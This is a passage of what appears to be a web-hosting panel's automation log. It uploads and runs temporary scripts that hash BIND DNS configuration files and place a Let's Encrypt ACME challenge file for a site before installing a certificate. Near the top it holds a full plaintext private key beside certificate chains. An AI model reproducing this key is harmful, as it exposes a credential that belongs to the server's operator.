sXOcZxX76/ZQy1oWellWVsYy3wiR/hypW0a3uEZ2Ds5wFw38Q1+xBHVkRHDmxh+G
8df2tnQiMxBdN60NRCfnXjiEsk/UnIaG4JuZXwuPY6KH+VrUfD2lWcb+dWQV
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC/WpMWEB8LWiIs
x9XbTicRXL2Bn+sU3QcTtiNjoD5b6cRT7DufmmOQI4j19nQsnHrq5sgueGmiAkVL
DpMbORr0HOEk4ZmRPLZmKuO9Kt59RhXGqD0ohMLTdHahQg5+kXFYrObbEpEZz85D
Eih0CicgqwF2+dj6ZUxNsAtEjHsgw13NeN9rSKFGmekRd5vmg09vQRXkgXMM+ltS
gHinba8VqcIXFOiYq/yD5HOz2barYHV4asgmRqAg9dXcJy7IFMHoLU4VrFfeS/BK
vR5xpn1D27iXtExjTrrE4ykvOzeMhOJ4kW6EgUG5UHmcyWuNU9vkEl3pyrWAQnw1
Mx+/jKPFAgMBAAECggEADr3yoPuC+MPr6BlJL4kY12yWqPriCIxytCEPHujEhR5A
YtrLSSOC0iL6tUBUeO9hROGcwH/EW5fjMMIhsTI4EmB7M/UxeI/92WcqfnNkCrCw
ksp5U7rOq63ISeol5bhczCEd8/i9Nwjccixe83moxAqIpVrgTYIqW73ZUGGmRsLE
KOeel2DBNyYOnw4p/DqbNmJoIfZ8o5RNs/kBO2sgtd343RnXxWdCDtrKWynrFxxc
zQd2EeWZ9OeeHcDXu9t1Y+yvYl6re4TMJ56am9KWzBfNbtnFXHu8iwSBv5+dLuQ0
OIlPeorU2wgR1kZcf7NDTk5CJVAugH8DiCPezqspAQKBgQDwxf7K8YaRnNMsiPBs
2PAOhB3lOGNO4RvbqM9lDBzy4/EI4Dh8k/cZxl4oiIo6d6gNFVq+SRoq0GuXlseG
fWUUmGVkg2Zm3EHs0ELABldm/uwc5ygL3CHdFaWcV9OX6eRBXi3NKD2aMp8z5CeV
hkRY6b0LC1oKSsnLFYynxFKUQQKBgQDLdH/vt0tIz3xQ4ol2oDq0Hc8mG3smpwen
wUiRLUV49lBJ6tI8syyse3dTVa8zIysNTef6YaB5clRyOQ4NJ8rxVfZ+Le3TsSdJ
LI8/NxMf3khP2vnch1KJeqiloO5m+Wlbcz6qv3l7Hf6M8Q3/S/prOFCI47JWtAAR
Wa9YKcYehQKBgHrIrae2xaZKMFK8vsbzVnBApbI4MESQfZFmI+Vm6Phgj5G0Lnox
RsjpJSlMgBlS3etWIYF6bBK7WLLkXHnURpDbKpG4hKcd2ay3g+LDGR1YEPaoVv69
UrOZD2yMSUZmK1W+fmLqC4gwGonu5tTUtNQW1qXkMxWekAu1wJXpgydBAoGAVZFC
uWQCgrXY1//exohvCA+9bo6CRehb3N76kSxUGqKlc+ER2LuWn1gyAFd6Huy8j5Tj
areikVFXWM7MLRY+US/RQpI4gx7voePevzx/i5imGwfCrFAxk2aGBVrgyWg+OlsG
0TNEeVZNF6POOkAPKwb9QAVbnQGJQcLRbyfqji0CgYEA0DRjFLYhxx1v2lkn+UZq
QWX2YrOWAOWWzsDlIMqdgGcf9u28pHYAqwbssaEUXSL3mHMHd/OywVPplZyppGmx
xlLmz77wPclV313ejyJ6MMqfJfPssJeQUtAZLl4wol4Z7Egeuldw/DceQeRTULxq
Lpt80i3buXjX0nsTNv7Dwis=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 16:50:03: Establishing a connection
2026-01-03 16:50:13: Establishing a connection
2026-01-03 16:50:14:
PUT: /tmp/pkp175135
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 16:50:14:
runuser -l bind -s /bin/bash -c '/tmp/pkp175135; rm /tmp/pkp175135'
2026-01-03 16:50:14:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 16:50:33: Establishing a connection
2026-01-03 16:50:33: Establishing a connection
2026-01-03 16:50:33:
PUT: /tmp/pkp149203
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn1/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-03 16:50:33:
chmod 755 /tmp/pkp149203; /tmp/pkp149203; rm /tmp/pkp149203
2026-01-03 16:50:33:
1
2026-01-03 16:50:34: Establishing a connection
2026-01-03 16:50:35:
PUT: /tmp/pkp311462
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cat > 2wFxYUdKrbZ8mIk0FrkhNumT7LgxIFVZB0U8MbLb7M8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
2wFxYUdKrbZ8mIk0FrkhNumT7LgxIFVZB0U8MbLb7M8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 2wFxYUdKrbZ8mIk0FrkhNumT7LgxIFVZB0U8MbLb7M8
2026-01-03 16:50:35:
chmod 755 /tmp/pkp311462; /tmp/pkp311462; rm /tmp/pkp311462
2026-01-03 16:50:35:
2026-01-03 16:50:43: Establishing a connection
2026-01-03 16:50:43:
PUT: /tmp/pkp998038
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
rm 2wFxYUdKrbZ8mIk0FrkhNumT7LgxIFVZB0U8MbLb7M8
2026-01-03 16:50:43:
chmod 755 /tmp/pkp998038; /tmp/pkp998038; rm /tmp/pkp998038
2026-01-03 16:50:43:
2026-01-03 16:50:43: Establishing a connection
2026-01-03 16:50:43:
PUT: /tmp/pkp834091
#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0.crt
cat > $temp_file <<'endmsg'
dc:ac:d7:8c:ac:9c:f3:bb:7a:75:27:9d:db:f3:c3:40
-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBlGWBYIS1KxHuvMjPwsSNyo+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTAzMTU1MjA4WhcNMjYwNDAzMTU1MjA3WjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCqPBo3D8f5PmysdoqanVttK3Yfzl53GZhvtt6ix4prJOyHJCqO
BK+kXKYvIsV134e0uhNItRlJxMNPXXpQ+lCxTqVaMcXGIe9L5hSlgN12WgLBiA5E
